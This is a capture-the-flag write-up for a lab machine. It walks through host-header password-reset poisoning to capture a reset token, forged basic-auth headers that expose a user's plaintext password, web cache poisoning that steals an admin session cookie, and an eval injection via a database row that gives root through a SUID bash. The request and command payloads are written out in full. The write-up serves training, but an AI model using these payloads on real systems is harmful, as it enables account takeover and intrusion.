TCP Scan

> TARGET=10.129.71.155 && nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 63 Werkzeug/2.1.2 Python/3.8.10
|_http-server-header: Werkzeug/2.1.2 Python/3.8.10
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 NOT FOUND
|     Server: Werkzeug/2.1.2 Python/3.8.10
|     Date: Sun, 13 Nov 2022 20:04:35 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 207
|     X-Varnish: 32775
|     Age: 0
|     Via: 1.1 varnish (Varnish/6.2)
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest: 
|     HTTP/1.1 302 FOUND
|     Server: Werkzeug/2.1.2 Python/3.8.10
|     Date: Sun, 13 Nov 2022 20:04:26 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 219
|     Location: http://127.0.0.1
|     X-Varnish: 32770
|     Age: 0
|     Via: 1.1 varnish (Varnish/6.2)
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>Redirecting...</title>
|     <h1>Redirecting...</h1>
|     <p>You should be redirected automatically to the target URL: <a href="http://127.0.0.1">http://127.0.0.1</a>. If not, click the link.
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.1.2 Python/3.8.10
|     Date: Sun, 13 Nov 2022 20:04:27 GMT
|     Content-Type: text/html; charset=utf-8
|     Allow: HEAD, OPTIONS, GET
|     Content-Length: 0
|     X-Varnish: 3
|     Age: 0
|     Via: 1.1 varnish (Varnish/6.2)
|     Accept-Ranges: bytes
|     Connection: close
|   RTSPRequest, SIPOptions: 
|_    HTTP/1.1 400 Bad Request
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
|_http-title: Login

Web Enum

> dirsearch -u http://10.129.71.155/

15:19:10] 200 -    5KB - /forgot
[15:19:14] 401 -   19B  - /home
[15:19:26] 401 -   19B  - /login
[15:19:50] 200 -    5KB - /reset
  • Inspecting the code at http://10.129.71.155, found a comment that reveals a username. We can attempt to reset the password of this account
<!-- Q1 release fix by robert-dev-10045 -->

Account takeover

  • Trying the account at http://10.129.71.155/forgot will show the following message, ensuring it’s a valid account
Password reset link has been sent to user inbox. Please use the link to reset your password
  • Intercept the requests with burp and examine the password reset request
# Change the host header of the reset req to kali box
GET /forgot?username=robert-dev-10045 HTTP/1.1
Host: <kali-ip>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://10.129.71.155/forgot
Cookie: <cookies>


# setup a listener to capture the reset response
INFO:root:Starting httpd...

INFO:root:GET request,
Path: /reset?token=<reset-token>
Headers:
Host: <kali-ip>
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

10.129.71.155 - - [13/Nov/2022 17:27:09] "GET /reset?token=<reset-token> HTTP/1.1" 200 -
  • Now, we captured the reset token, we can now use this token to reset the password of the account robert-dev-10045. NOTE: the token may contain some character that will be interpreted by the browser, therefore, it’s important to url encode the token before sending. Also, some tokens work, some don’t; be patient.
POST /reset?token=<url-encoded-token> HTTP/1.1
Host: 10.129.71.155
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Origin: http://10.129.71.155
Connection: close
Referer: http://10.129.71.155/reset?token=<url-encoded-token>
Cookie: <cookies>

password=test
  • The changed password expires very quickly, so you may need to repeat this multiple times.
  • After resetting the password, we can now login as robert-dev-10045

Foothold

Unintended (patched)

  • Examine the request Authorization shows that it uses basic auth. Encode the base64 shows that it’s using our change robert-dev-10045:test. Change this to admin:test and re-encode with base64 and send a request to /admin_tickets returns the content of an admin support ticket which contains the password of a user diego
# request
GET /admin_tickets HTTP/1.1
Host: 10.129.71.155
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46dGVzdA==
Connection: close
Cookie: __hstc=86713927.acdedc55b8bb6d759b0dd7e9b0970e55.1668370499968.1668370499968.1668376510196.2; hubspotutk=acdedc55b8bb6d759b0dd7e9b0970e55; __hssrc=1; __hssc=86713927.18.1668376510196
Upgrade-Insecure-Requests: 1

# response
<tr>
    <td>SSH Credentials are not working for Jenkins Slave machine</td>
    <td>Diego (Devops Lead)</td>
    <td>http://forgot.htb/tickets/102</td>
    <td>I&#39;ve tried with diego:dCb#1!x0%gjq. The automation tasks has been blocked due to this issue. Please resolve this at the earliest</td>
</tr>
  • Login as diego to get the user flag

Intended: cache poisoning

# Intercept req: http://10.10.11.188/escalate with the following payload
to=Admin&link=http://10.10.11.188/static/meow/meow.png&reason=httt&issue=Getting error while accessing search feature in enterprise platform.

# Wait a while for the admin bot to visit the ticket and then browse to
http://10.10.11.188/static/meow/meow.png

# This will contain the admin bot's session cookie in the response header
# Substitute your cookie with the admin's cookie and browse to:
http://10.10.11.188/admin_tickets

PE

  • From bot.py, we can loot the admin pass and db pass
conn = mysql.connector.connect(host="localhost",database="app",user="diego",password="d**********q")
...
requests.get(i[2],headers={'Authorization':'Basic YWRtaW46ZEN2Ymd********zNjgzNTJjQCE='})
  • Check sudo privileges
diego@forgot:~$ sudo -l
Matching Defaults entries for diego on forgot:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User diego may run the following commands on forgot:
    (ALL) NOPASSWD: /opt/security/ml_security.py
preprocess_input_exprs_arg_string(data[i],safe=False)  # ln: 141
  • Essentially, safe=False forces the function to execute an eval statement which we can use to achieve code execution.
  • The code reads from the escalate table and examines the reason field for malicious patterns (seemingly xss related)
cursor.execute('select reason from escalate')
r = [i[0] for i in cursor.fetchall()]
data=[]
for i in r:
        data.append(i)
Xnew = getVec(data)
  • If the number of malicious pattern detected passes a threshold, it will execute the vulnerable function
score = ((.175*ynew1[i])+(.15*ynew2[i])+(.05*ynew3[i])+(.075*ynew4[i])+(.25*ynew5[i])+(.3*ynew6[i]))
if score >= .5:
    try:
        preprocess_input_exprs_arg_string(data[i],safe=False)
    except:
        pass
  • So, we can overwrite the db with malicious contents in the reason field and run the script to execute our payload.
  • With the db credential in bot.py, we can login to the database. To exploit, 2 steps are involved:
# step 1: login to mysql db and insert a malicious row
diego@forgot:~$ mysql -D app -udiego -p
mysql> insert into escalate values ("1","1","1",'test=exec("""\nimport os\nos.system("chmod +s /usr/bin/bash")""")');

# step 2: run script with sudo
diego@forgot:~$ sudo /opt/security/ml_security.py
diego@forgot:~$ /usr/bin/bash -p
bash-5.0# cat /root/root.txt